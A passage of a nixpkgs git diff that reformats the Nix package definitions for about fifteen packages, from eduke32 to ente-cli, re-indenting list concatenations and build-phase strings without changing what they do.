-        --replace-fail '#include <SDL.h>' '#include <SDL2/SDL.h>' \
-        --replace-fail '#include <SDL_syswm.h>' '#include <SDL2/SDL_syswm.h>' \
-        --replace-fail '#include <SDL_vulkan.h>' '#include <SDL2/SDL_vulkan.h>'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      for f in glad.c glad_wgl.c ; do
-        substituteInPlace source/glad/src/$f \
-          --replace-fail libGL.so ${libGL}/lib/libGL.so
-      done
-    '';
+  postPatch = ''
+    substituteInPlace source/imgui/src/imgui_impl_sdl2.cpp \
+      --replace-fail '#include <SDL.h>' '#include <SDL2/SDL.h>' \
+      --replace-fail '#include <SDL_syswm.h>' '#include <SDL2/SDL_syswm.h>' \
+      --replace-fail '#include <SDL_vulkan.h>' '#include <SDL2/SDL_vulkan.h>'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    for f in glad.c glad_wgl.c ; do
+      substituteInPlace source/glad/src/$f \
+        --replace-fail libGL.so ${libGL}/lib/libGL.so
+    done
+  '';
 
   makeFlags = [
     "SDLCONFIG=${SDL2}/bin/sdl2-config"
@@ -126,48 +123,47 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      install -Dm755 -t $out/bin eduke32 mapster32 voidsw wangulator
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      makeWrapper $out/bin/eduke32 $out/bin/${wrapper} \
-        --set-default EDUKE32_DATA_DIR /var/lib/games/eduke32 \
-        --add-flags '-j"$EDUKE32_DATA_DIR"' \
-        --add-flags '-gamegrp DUKE3D.GRP'
-      makeWrapper $out/bin/voidsw $out/bin/${swWrapper} \
-        --set-default EDUKE32_DATA_DIR /var/lib/games/eduke32 \
-        --add-flags '-j"$EDUKE32_DATA_DIR"'
-      makeWrapper $out/bin/eduke32 $out/bin/${furyWrapper} \
-        --set-default EDUKE32_DATA_DIR /var/lib/games/eduke32 \
-        --add-flags '-j"$EDUKE32_DATA_DIR"' \
-        --add-flags '-gamegrp FURY.GRP'
-      mkdir -p $out/share/icons/hicolor/scalable/apps
-      gm convert "./source/duke3d/rsrc/game_icon.ico[10]" $out/share/icons/hicolor/scalable/apps/eduke32.png
-      install -Dm644 ./source/sw/rsrc/game_icon.svg $out/share/icons/hicolor/scalable/apps/voidsw.svg
-      gm convert "./source/duke3d/rsrc/fury/game_icon.ico[4]" $out/share/icons/hicolor/scalable/apps/fury.png
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications/EDuke32.app/Contents/MacOS
-      mkdir -p $out/Applications/Mapster32.app/Contents/MacOS
-      mkdir -p $out/Applications/VoidSW.app/Contents/MacOS
-      mkdir -p $out/Applications/Wangulator.app/Contents/MacOS
+    install -Dm755 -t $out/bin eduke32 mapster32 voidsw wangulator
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    makeWrapper $out/bin/eduke32 $out/bin/${wrapper} \
+      --set-default EDUKE32_DATA_DIR /var/lib/games/eduke32 \
+      --add-flags '-j"$EDUKE32_DATA_DIR"' \
+      --add-flags '-gamegrp DUKE3D.GRP'
+    makeWrapper $out/bin/voidsw $out/bin/${swWrapper} \
+      --set-default EDUKE32_DATA_DIR /var/lib/games/eduke32 \
+      --add-flags '-j"$EDUKE32_DATA_DIR"'
+    makeWrapper $out/bin/eduke32 $out/bin/${furyWrapper} \
+      --set-default EDUKE32_DATA_DIR /var/lib/games/eduke32 \
+      --add-flags '-j"$EDUKE32_DATA_DIR"' \
+      --add-flags '-gamegrp FURY.GRP'
+    mkdir -p $out/share/icons/hicolor/scalable/apps
+    gm convert "./source/duke3d/rsrc/game_icon.ico[10]" $out/share/icons/hicolor/scalable/apps/eduke32.png
+    install -Dm644 ./source/sw/rsrc/game_icon.svg $out/share/icons/hicolor/scalable/apps/voidsw.svg
+    gm convert "./source/duke3d/rsrc/fury/game_icon.ico[4]" $out/share/icons/hicolor/scalable/apps/fury.png
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications/EDuke32.app/Contents/MacOS
+    mkdir -p $out/Applications/Mapster32.app/Contents/MacOS
+    mkdir -p $out/Applications/VoidSW.app/Contents/MacOS
+    mkdir -p $out/Applications/Wangulator.app/Contents/MacOS
 
-      cp -r platform/Apple/bundles/EDuke32.app/* $out/Applications/EDuke32.app/
-      cp -r platform/Apple/bundles/Mapster32.app/* $out/Applications/Mapster32.app/
-      cp -r platform/Apple/bundles/VoidSW.app/* $out/Applications/VoidSW.app/
-      cp -r platform/Apple/bundles/Wangulator.app/* $out/Applications/Wangulator.app/
+    cp -r platform/Apple/bundles/EDuke32.app/* $out/Applications/EDuke32.app/
+    cp -r platform/Apple/bundles/Mapster32.app/* $out/Applications/Mapster32.app/
+    cp -r platform/Apple/bundles/VoidSW.app/* $out/Applications/VoidSW.app/
+    cp -r platform/Apple/bundles/Wangulator.app/* $out/Applications/Wangulator.app/
 
-      ln -sf $out/bin/eduke32 $out/Applications/EDuke32.app/Contents/MacOS/eduke32
-      ln -sf $out/bin/mapster32 $out/Applications/Mapster32.app/Contents/MacOS/mapster32
-      ln -sf $out/bin/voidsw $out/Applications/VoidSW.app/Contents/MacOS/voidsw
-      ln -sf $out/bin/wangulator $out/Applications/Wangulator.app/Contents/MacOS/wangulator
-    ''
-    + ''
-      runHook postInstall
-    '';
+    ln -sf $out/bin/eduke32 $out/Applications/EDuke32.app/Contents/MacOS/eduke32
+    ln -sf $out/bin/mapster32 $out/Applications/Mapster32.app/Contents/MacOS/mapster32
+    ln -sf $out/bin/voidsw $out/Applications/VoidSW.app/Contents/MacOS/voidsw
+    ln -sf $out/bin/wangulator $out/Applications/Wangulator.app/Contents/MacOS/wangulator
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   meta = {
     description = "Enhanched port of Duke Nukem 3D for various platforms";
diff --git a/pkgs/by-name/eg/eggnog-mapper/package.nix b/pkgs/by-name/eg/eggnog-mapper/package.nix
index 80d9be278eda..af6dcde1c09d 100644
--- a/pkgs/by-name/eg/eggnog-mapper/package.nix
+++ b/pkgs/by-name/eg/eggnog-mapper/package.nix
@@ -32,15 +32,14 @@ python3Packages.buildPythonApplication rec {
     zlib
   ];
 
-  propagatedBuildInputs =
-    [
-      wget
-    ]
-    ++ (with python3Packages; [
-      biopython
-      psutil
-      xlsxwriter
-    ]);
+  propagatedBuildInputs = [
+    wget
+  ]
+  ++ (with python3Packages; [
+    biopython
+    psutil
+    xlsxwriter
+  ]);
 
   # Tests rely on some of the databases being available, which is not bundled
   # with this package as (1) in total, they represent >100GB of data, and (2)
diff --git a/pkgs/by-name/ei/eiwd/package.nix b/pkgs/by-name/ei/eiwd/package.nix
index 91c06efbb0d1..d5af257d8937 100644
--- a/pkgs/by-name/ei/eiwd/package.nix
+++ b/pkgs/by-name/ei/eiwd/package.nix
@@ -22,43 +22,40 @@ stdenv.mkDerivation (finalAttrs: {
     fetchSubmodules = true;
   };
 
-  outputs =
-    [
-      "out"
-      "doc"
-    ]
-    ++ lib.optionals enableManpages [
-      "man"
-    ]
-    ++ lib.optionals finalAttrs.doCheck [
-      "test"
-    ];
+  outputs = [
+    "out"
+    "doc"
+  ]
+  ++ lib.optionals enableManpages [
+    "man"
+  ]
+  ++ lib.optionals finalAttrs.doCheck [
+    "test"
+  ];
 
   postUnpack = ''
     patchShebangs .
   '';
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-    ]
-    ++ lib.optionals enableManpages [
-      docutils # only for the man pages
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+  ]
+  ++ lib.optionals enableManpages [
+    docutils # only for the man pages
+  ];
 
   checkInputs = [
     python3Packages.python
     (lib.getBin openssl)
   ];
 
-  configureFlags =
-    [
-      "--disable-dbus"
-    ]
-    ++ lib.optionals (!enableManpages) [
-      "--disable-manual-pages"
-    ];
+  configureFlags = [
+    "--disable-dbus"
+  ]
+  ++ lib.optionals (!enableManpages) [
+    "--disable-manual-pages"
+  ];
 
   enableParallelBuilding = true;
 
@@ -74,16 +71,15 @@ stdenv.mkDerivation (finalAttrs: {
       'true'
   '';
 
-  postInstall =
-    ''
-      mkdir -p $doc/share/doc
-      cp -a doc $doc/share/doc/iwd
-      cp -a README AUTHORS TODO $doc/share/doc/iwd
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      mkdir -p $test/bin
-      cp -a test/* $test/bin/
-    '';
+  postInstall = ''
+    mkdir -p $doc/share/doc
+    cp -a doc $doc/share/doc/iwd
+    cp -a README AUTHORS TODO $doc/share/doc/iwd
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    mkdir -p $test/bin
+    cp -a test/* $test/bin/
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/illiliti/eiwd/";
diff --git a/pkgs/by-name/ej/ejabberd/package.nix b/pkgs/by-name/ej/ejabberd/package.nix
index dee0cad6572c..433e2022d3a3 100644
--- a/pkgs/by-name/ej/ejabberd/package.nix
+++ b/pkgs/by-name/ej/ejabberd/package.nix
@@ -154,17 +154,18 @@ stdenv.mkDerivation (finalAttrs: {
     })
   ];
 
-  buildInputs =
-    [ beamPackages.erlang ]
-    ++ builtins.attrValues beamDeps
-    ++ lib.optional withMysql allBeamDeps.p1_mysql
-    ++ lib.optional withPgsql allBeamDeps.p1_pgsql
-    ++ lib.optional withSqlite allBeamDeps.sqlite3
-    ++ lib.optional withPam allBeamDeps.epam
-    ++ lib.optional withZlib allBeamDeps.ezlib
-    ++ lib.optional withSip allBeamDeps.esip
-    ++ lib.optional withLua allBeamDeps.luerl
-    ++ lib.optional withRedis allBeamDeps.eredis;
+  buildInputs = [
+    beamPackages.erlang
+  ]
+  ++ builtins.attrValues beamDeps
+  ++ lib.optional withMysql allBeamDeps.p1_mysql
+  ++ lib.optional withPgsql allBeamDeps.p1_pgsql
+  ++ lib.optional withSqlite allBeamDeps.sqlite3
+  ++ lib.optional withPam allBeamDeps.epam
+  ++ lib.optional withZlib allBeamDeps.ezlib
+  ++ lib.optional withSip allBeamDeps.esip
+  ++ lib.optional withLua allBeamDeps.luerl
+  ++ lib.optional withRedis allBeamDeps.eredis;
 
   src = fetchFromGitHub {
     owner = "processone";
@@ -187,7 +188,8 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.enableFeature withLua "lua")
     (lib.enableFeature withTools "tools")
     (lib.enableFeature withRedis "redis")
-  ] ++ lib.optional withSqlite "--with-sqlite3=${sqlite.dev}";
+  ]
+  ++ lib.optional withSqlite "--with-sqlite3=${sqlite.dev}";
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/el/elan/package.nix b/pkgs/by-name/el/elan/package.nix
index feca25d6f479..4b3f3114d422 100644
--- a/pkgs/by-name/el/elan/package.nix
+++ b/pkgs/by-name/el/elan/package.nix
@@ -38,7 +38,8 @@ rustPlatform.buildRustPackage rec {
     curl
     zlib
     openssl
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin libiconv;
 
   buildFeatures = [ "no-self-update" ];
 
diff --git a/pkgs/by-name/el/element-desktop/keytar/default.nix b/pkgs/by-name/el/element-desktop/keytar/default.nix
index 56a49eef1459..38461bbbc1e7 100644
--- a/pkgs/by-name/el/element-desktop/keytar/default.nix
+++ b/pkgs/by-name/el/element-desktop/keytar/default.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation rec {
     python3
     pkg-config
     npmHooks.npmConfigHook
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin xcbuild;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin xcbuild;
 
   buildInputs = lib.optionals (!stdenv.hostPlatform.isDarwin) [ libsecret ];
 
diff --git a/pkgs/by-name/el/element-desktop/package.nix b/pkgs/by-name/el/element-desktop/package.nix
index 9593ed39c3c5..7fd3e2147f32 100644
--- a/pkgs/by-name/el/element-desktop/package.nix
+++ b/pkgs/by-name/el/element-desktop/package.nix
@@ -57,7 +57,8 @@ stdenv.mkDerivation (
       jq
       yarn
       typescript
-    ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
     inherit seshat;
 
diff --git a/pkgs/by-name/el/elfutils/package.nix b/pkgs/by-name/el/elfutils/package.nix
index f07ab5b6aebc..7888919d2bca 100644
--- a/pkgs/by-name/el/elfutils/package.nix
+++ b/pkgs/by-name/el/elfutils/package.nix
@@ -36,45 +36,43 @@ stdenv.mkDerivation rec {
     hash = "sha256-YWCZvq4kq6Efm2PYbKbMjVZtlouAI5EzTJHfVOq0FrQ=";
   };
 
-  patches =
-    [
-      ./debug-info-from-env.patch
-      (fetchpatch {
-        name = "fix-aarch64_fregs.patch";
-        url = "https://git.alpinelinux.org/aports/plain/main/elfutils/fix-aarch64_fregs.patch?id=2e3d4976eeffb4704cf83e2cc3306293b7c7b2e9";
-        sha256 = "zvncoRkQx3AwPx52ehjA2vcFroF+yDC2MQR5uS6DATs=";
-      })
-      (fetchpatch {
-        name = "musl-asm-ptrace-h.patch";
-        url = "https://git.alpinelinux.org/aports/plain/main/elfutils/musl-asm-ptrace-h.patch?id=2e3d4976eeffb4704cf83e2cc3306293b7c7b2e9";
-        sha256 = "8D1wPcdgAkE/TNBOgsHaeTZYhd9l+9TrZg8d5C7kG6k=";
-      })
-      (fetchpatch {
-        name = "musl-macros.patch";
-        url = "https://git.alpinelinux.org/aports/plain/main/elfutils/musl-macros.patch?id=2e3d4976eeffb4704cf83e2cc3306293b7c7b2e9";
-        sha256 = "tp6O1TRsTAMsFe8vw3LMENT/vAu6OmyA8+pzgThHeA8=";
-      })
-      (fetchpatch {
-        name = "musl-strndupa.patch";
-        url = "https://git.alpinelinux.org/aports/plain/main/elfutils/musl-strndupa.patch?id=2e3d4976eeffb4704cf83e2cc3306293b7c7b2e9";
-        sha256 = "sha256-7daehJj1t0wPtQzTv+/Rpuqqs5Ng/EYnZzrcf2o/Lb0=";
-      })
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [ ./musl-error_h.patch ]
-    # Prevent headers and binaries from colliding which results in an error.
-    # https://sourceware.org/pipermail/elfutils-devel/2024q3/007281.html
-    ++ lib.optional (stdenv.targetPlatform.useLLVM or false) ./cxx-header-collision.patch;
+  patches = [
+    ./debug-info-from-env.patch
+    (fetchpatch {
+      name = "fix-aarch64_fregs.patch";
+      url = "https://git.alpinelinux.org/aports/plain/main/elfutils/fix-aarch64_fregs.patch?id=2e3d4976eeffb4704cf83e2cc3306293b7c7b2e9";
+      sha256 = "zvncoRkQx3AwPx52ehjA2vcFroF+yDC2MQR5uS6DATs=";
+    })
+    (fetchpatch {
+      name = "musl-asm-ptrace-h.patch";
+      url = "https://git.alpinelinux.org/aports/plain/main/elfutils/musl-asm-ptrace-h.patch?id=2e3d4976eeffb4704cf83e2cc3306293b7c7b2e9";
+      sha256 = "8D1wPcdgAkE/TNBOgsHaeTZYhd9l+9TrZg8d5C7kG6k=";
+    })
+    (fetchpatch {
+      name = "musl-macros.patch";
+      url = "https://git.alpinelinux.org/aports/plain/main/elfutils/musl-macros.patch?id=2e3d4976eeffb4704cf83e2cc3306293b7c7b2e9";
+      sha256 = "tp6O1TRsTAMsFe8vw3LMENT/vAu6OmyA8+pzgThHeA8=";
+    })
+    (fetchpatch {
+      name = "musl-strndupa.patch";
+      url = "https://git.alpinelinux.org/aports/plain/main/elfutils/musl-strndupa.patch?id=2e3d4976eeffb4704cf83e2cc3306293b7c7b2e9";
+      sha256 = "sha256-7daehJj1t0wPtQzTv+/Rpuqqs5Ng/EYnZzrcf2o/Lb0=";
+    })
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [ ./musl-error_h.patch ]
+  # Prevent headers and binaries from colliding which results in an error.
+  # https://sourceware.org/pipermail/elfutils-devel/2024q3/007281.html
+  ++ lib.optional (stdenv.targetPlatform.useLLVM or false) ./cxx-header-collision.patch;
 
-  postPatch =
-    ''
-      patchShebangs tests/*.sh
-    ''
-    + lib.optionalString stdenv.hostPlatform.isRiscV ''
-      # disable failing test:
-      #
-      # > dwfl_thread_getframes: No DWARF information found
-      sed -i s/run-backtrace-dwarf.sh//g tests/Makefile.in
-    '';
+  postPatch = ''
+    patchShebangs tests/*.sh
+  ''
+  + lib.optionalString stdenv.hostPlatform.isRiscV ''
+    # disable failing test:
+    #
+    # > dwfl_thread_getframes: No DWARF information found
+    sed -i s/run-backtrace-dwarf.sh//g tests/Makefile.in
+  '';
 
   outputs = [
     "bin"
@@ -85,54 +83,51 @@ stdenv.mkDerivation rec {
 
   # We need bzip2 in NativeInputs because otherwise we can't unpack the src,
   # as the host-bzip2 will be in the path.
-  nativeBuildInputs =
-    [
-      m4
-      bison
-      flex
-      gettext
-      bzip2
-    ]
-    ++ lib.optional enableDebuginfod pkg-config
-    ++ lib.optional (stdenv.targetPlatform.useLLVM or false) autoreconfHook;
-  buildInputs =
-    [
-      zlib
-      zstd
-      bzip2
-      xz
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isMusl [
-      argp-standalone
-      musl-fts
-      musl-obstack
-    ]
-    ++ lib.optionals enableDebuginfod [
-      sqlite
-      curl
-      json_c
-      libmicrohttpd
-      libarchive
-    ];
+  nativeBuildInputs = [
+    m4
+    bison
+    flex
+    gettext
+    bzip2
+  ]
+  ++ lib.optional enableDebuginfod pkg-config
+  ++ lib.optional (stdenv.targetPlatform.useLLVM or false) autoreconfHook;
+  buildInputs = [
+    zlib
+    zstd
+    bzip2
+    xz
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isMusl [
+    argp-standalone
+    musl-fts
+    musl-obstack
+  ]
+  ++ lib.optionals enableDebuginfod [
+    sqlite
+    curl
+    json_c
+    libmicrohttpd
+    libarchive
+  ];
 
   propagatedNativeBuildInputs = [ setupDebugInfoDirs ];
 
-  configureFlags =
-    [
-      "--program-prefix=eu-" # prevent collisions with binutils
-      "--enable-deterministic-archives"
-      (lib.enableFeature enableDebuginfod "libdebuginfod")
-      (lib.enableFeature enableDebuginfod "debuginfod")
+  configureFlags = [
+    "--program-prefix=eu-" # prevent collisions with binutils
+    "--enable-deterministic-archives"
+    (lib.enableFeature enableDebuginfod "libdebuginfod")
+    (lib.enableFeature enableDebuginfod "debuginfod")
 
-      # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=101766
-      # Versioned symbols are nice to have, but we can do without.
-      (lib.enableFeature (!stdenv.hostPlatform.isMicroBlaze) "symbol-versioning")
-    ]
-    ++ lib.optional (stdenv.targetPlatform.useLLVM or false) "--disable-demangler"
-    ++ lib.optionals stdenv.cc.isClang [
-      "CFLAGS=-Wno-unused-private-field"
-      "CXXFLAGS=-Wno-unused-private-field"
-    ];
+    # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=101766
+    # Versioned symbols are nice to have, but we can do without.
+    (lib.enableFeature (!stdenv.hostPlatform.isMicroBlaze) "symbol-versioning")
+  ]
+  ++ lib.optional (stdenv.targetPlatform.useLLVM or false) "--disable-demangler"
+  ++ lib.optionals stdenv.cc.isClang [
+    "CFLAGS=-Wno-unused-private-field"
+    "CXXFLAGS=-Wno-unused-private-field"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/el/eli/package.nix b/pkgs/by-name/el/eli/package.nix
index fb052cc170a6..40bc6e607c94 100644
--- a/pkgs/by-name/el/eli/package.nix
+++ b/pkgs/by-name/el/eli/package.nix
@@ -38,17 +38,16 @@ stdenv.mkDerivation rec {
     sha256 = "1vran8583hbwrr5dciji4zkhz3f88w4mn8n9sdpr6zw0plpf1whj";
   };
 
-  buildInputs =
-    [
-      ncurses
-      fontconfig
-    ]
-    ++ (with xorg; [
-      libX11.dev
-      libXt.dev
-      libXaw.dev
-      libXext.dev
-    ]);
+  buildInputs = [
+    ncurses
+    fontconfig
+  ]
+  ++ (with xorg; [
+    libX11.dev
+    libXt.dev
+    libXaw.dev
+    libXext.dev
+  ]);
 
   nativeBuildInputs = [
     file
diff --git a/pkgs/by-name/el/elogind/package.nix b/pkgs/by-name/el/elogind/package.nix
index ed9345d5fbf7..4f758184cb15 100644
--- a/pkgs/by-name/el/elogind/package.nix
+++ b/pkgs/by-name/el/elogind/package.nix
@@ -73,7 +73,8 @@ stdenv.mkDerivation rec {
     libselinux
     pam
     util-linux
-  ] ++ (if enableSystemd then [ udev ] else [ eudev ]);
+  ]
+  ++ (if enableSystemd then [ udev ] else [ eudev ]);
 
   postPatch = ''
     substituteInPlace meson.build --replace-fail "install_emptydir(elogindstatedir)" ""
diff --git a/pkgs/by-name/el/elpa/package.nix b/pkgs/by-name/el/elpa/package.nix
index a2901aacea0f..684d1e90c670 100644
--- a/pkgs/by-name/el/elpa/package.nix
+++ b/pkgs/by-name/el/elpa/package.nix
@@ -60,19 +60,19 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     perl
-  ] ++ lib.optionals enableCuda [ cudaPackages.cuda_nvcc ];
+  ]
+  ++ lib.optionals enableCuda [ cudaPackages.cuda_nvcc ];
 
-  buildInputs =
-    [
-      mpi
-      blas
-      lapack
-      scalapack
-    ]
-    ++ lib.optionals enableCuda [
-      cudaPackages.cuda_cudart
-      cudaPackages.libcublas
-    ];
+  buildInputs = [
+    mpi
+    blas
+    lapack
+    scalapack
+  ]
+  ++ lib.optionals enableCuda [
+    cudaPackages.cuda_cudart
+    cudaPackages.libcublas
+  ];
 
   preConfigure = ''
     export FC="mpifort"
@@ -91,23 +91,22 @@ stdenv.mkDerivation rec {
     export CFLAGS=$FCFLAGS
   '';
 
-  configureFlags =
-    [
-      "--with-mpi"
-      "--enable-openmp"
-      "--without-threading-support-check-during-build"
-    ]
-    ++ lib.optional blas.isILP64 "--enable-64bit-integer-math-support"
-    ++ lib.optional (!avxSupport) "--disable-avx"
-    ++ lib.optional (!avx2Support) "--disable-avx2"
-    ++ lib.optional (!avx512Support) "--disable-avx512"
-    ++ lib.optional (!stdenv.hostPlatform.isx86_64) "--disable-sse"
-    ++ lib.optional (!stdenv.hostPlatform.isx86_64) "--disable-sse-assembly"
-    ++ lib.optional stdenv.hostPlatform.isx86_64 "--enable-sse-assembly"
-    ++ lib.optionals enableCuda [
-      "--enable-nvidia-gpu"
-      "--with-NVIDIA-GPU-compute-capability=${nvidiaArch}"
-    ];
+  configureFlags = [
+    "--with-mpi"
+    "--enable-openmp"
+    "--without-threading-support-check-during-build"
+  ]
+  ++ lib.optional blas.isILP64 "--enable-64bit-integer-math-support"
+  ++ lib.optional (!avxSupport) "--disable-avx"
+  ++ lib.optional (!avx2Support) "--disable-avx2"
+  ++ lib.optional (!avx512Support) "--disable-avx512"
+  ++ lib.optional (!stdenv.hostPlatform.isx86_64) "--disable-sse"
+  ++ lib.optional (!stdenv.hostPlatform.isx86_64) "--disable-sse-assembly"
+  ++ lib.optional stdenv.hostPlatform.isx86_64 "--enable-sse-assembly"
+  ++ lib.optionals enableCuda [
+    "--enable-nvidia-gpu"
+    "--with-NVIDIA-GPU-compute-capability=${nvidiaArch}"
+  ];
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/em/emojipick/package.nix b/pkgs/by-name/em/emojipick/package.nix
index bb2bf0c3fede..c9f4b5bf1668 100644
--- a/pkgs/by-name/em/emojipick/package.nix
+++ b/pkgs/by-name/em/emojipick/package.nix
@@ -50,7 +50,8 @@ stdenvNoCC.mkDerivation {
     python3
     xclip
     libnotify
-  ] ++ (if emojipick-use-rofi then [ rofi ] else [ dmenu ]);
+  ]
+  ++ (if emojipick-use-rofi then [ rofi ] else [ dmenu ]);
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/em/emulsion/package.nix b/pkgs/by-name/em/emulsion/package.nix
index c6fe5dc4fc7f..457ba352ff84 100644
--- a/pkgs/by-name/em/emulsion/package.nix
+++ b/pkgs/by-name/em/emulsion/package.nix
@@ -18,20 +18,19 @@
   wayland,
 }:
 let
-  rpathLibs =
-    [
-      libGL
-      libX11
-      libXcursor
-      libXi
-      libXrandr
-      libXxf86vm
-      libxcb
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libxkbcommon
-      wayland
-    ];
+  rpathLibs = [
+    libGL
+    libX11
+    libXcursor
+    libXi
+    libXrandr
+    libXxf86vm
+    libxcb
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libxkbcommon
+    wayland
+  ];
 in
 rustPlatform.buildRustPackage rec {
   pname = "emulsion";
diff --git a/pkgs/by-name/en/en-croissant/package.nix b/pkgs/by-name/en/en-croissant/package.nix
index a35536ad30f1..f4b7b0ad914d 100644
--- a/pkgs/by-name/en/en-croissant/package.nix
+++ b/pkgs/by-name/en/en-croissant/package.nix
@@ -41,15 +41,14 @@ rustPlatform.buildRustPackage rec {
 
   buildAndTestSubdir = cargoRoot;
 
-  nativeBuildInputs =
-    [
-      pnpm_9.configHook
-      nodejs
-      cargo-tauri_1.hook
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ wrapGAppsHook3 ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ makeBinaryWrapper ];
+  nativeBuildInputs = [
+    pnpm_9.configHook
+    nodejs
+    cargo-tauri_1.hook
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ wrapGAppsHook3 ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ makeBinaryWrapper ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     openssl
diff --git a/pkgs/by-name/en/entangle/package.nix b/pkgs/by-name/en/entangle/package.nix
index dab4bd89fe73..bfd5c8dbae19 100644
--- a/pkgs/by-name/en/entangle/package.nix
+++ b/pkgs/by-name/en/entangle/package.nix
@@ -77,38 +77,37 @@ stdenv.mkDerivation (finalAttrs: {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      at-spi2-core
-      dbus
-      libepoxy
-      elfutils
-      gexiv2
-      glib
-      lerc
-      gst_all_1.gst-plugins-base
-      gst_all_1.gstreamer
-      gtk3
-      lcms2
-      libdatrie
-      libgphoto2
-      libgudev
-      libpeas
-      libraw
-      libselinux
-      libsepol
-      libthai
-      libunwind
-      libxkbcommon
-      orc
-      udev
-      util-linux
-      zstd
-    ]
-    ++ (with xorg; [
-      libXdmcp
-      libXtst
-    ]);
+  buildInputs = [
+    at-spi2-core
+    dbus
+    libepoxy
+    elfutils
+    gexiv2
+    glib
+    lerc
+    gst_all_1.gst-plugins-base
+    gst_all_1.gstreamer
+    gtk3
+    lcms2
+    libdatrie
+    libgphoto2
+    libgudev
+    libpeas
+    libraw
+    libselinux
+    libsepol
+    libthai
+    libunwind
+    libxkbcommon
+    orc
+    udev
+    util-linux
+    zstd
+  ]
+  ++ (with xorg; [
+    libXdmcp
+    libXtst
+  ]);
 
   # Disable building of doc/reference since it requires network connection to render XML to HTML
   # Patch build script shebangs
diff --git a/pkgs/by-name/en/ente-cli/package.nix b/pkgs/by-name/en/ente-cli/package.nix
index 05d8ea33570c..4d909100026f 100644
--- a/pkgs/by-name/en/ente-cli/package.nix
+++ b/pkgs/by-name/en/ente-cli/package.nix
@@ -34,29 +34,28 @@ buildGoModule (finalAttrs: {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  postInstall =
-    ''
-      mv $out/bin/{cli,ente}
-    ''
-    # running ente results in the following errors:
-    # > mkdir /homeless-shelter: permission denied
-    # > error getting password from keyring: exec: "dbus-launch": executable file not found in $PATH
-    # fix by setting ENTE_CLI_CONFIG_PATH to $TMP and ENTE_CLI_SECRETS_PATH to a non existing path
-    # also guarding with `isLinux` because ENTE_CLI_SECRETS_PATH doesn't help on darwin:
-    # > error setting password in keyring: exit status 195
-    #
-    +
-      lib.optionalString
-        (stdenv.buildPlatform.isLinux && stdenv.buildPlatform.canExecute stdenv.hostPlatform)
-        ''
-          export ENTE_CLI_CONFIG_PATH=$TMP
-          export ENTE_CLI_SECRETS_PATH=$TMP/secrets
+  postInstall = ''
+    mv $out/bin/{cli,ente}
+  ''
+  # running ente results in the following errors:
+  # > mkdir /homeless-shelter: permission denied
+  # > error getting password from keyring: exec: "dbus-launch": executable file not found in $PATH
+  # fix by setting ENTE_CLI_CONFIG_PATH to $TMP and ENTE_CLI_SECRETS_PATH to a non existing path
+  # also guarding with `isLinux` because ENTE_CLI_SECRETS_PATH doesn't help on darwin:
+  # > error setting password in keyring: exit status 195
+  #
+  +
+    lib.optionalString
+      (stdenv.buildPlatform.isLinux && stdenv.buildPlatform.canExecute stdenv.hostPlatform)
+      ''
+        export ENTE_CLI_CONFIG_PATH=$TMP
+        export ENTE_CLI_SECRETS_PATH=$TMP/secrets
 
-          installShellCompletion --cmd ente \
-            --bash <($out/bin/ente completion bash) \
-            --fish <($out/bin/ente completion fish) \
-            --zsh <($out/bin/ente completion zsh)
-        '';
+        installShellCompletion --cmd ente \
+          --bash <($out/bin/ente completion bash) \
+          --fish <($out/bin/ente completion fish) \
+          --zsh <($out/bin/ente completion zsh)
+      '';
 
   passthru = {
     # only works on linux, see comment above about ENTE_CLI_SECRETS_PATH on darwin
diff --git a/pkgs/by-name/en/enum4linux-ng/package.nix b/pkgs/by-name/en/enum4linux-ng/package.nix
index 120c580e1666..aa82dbf724ea 100644
--- a/pkgs/by-name/en/enum4linux-ng/package.nix
+++ b/pkgs/by-name/en/enum4linux-ng/package.nix
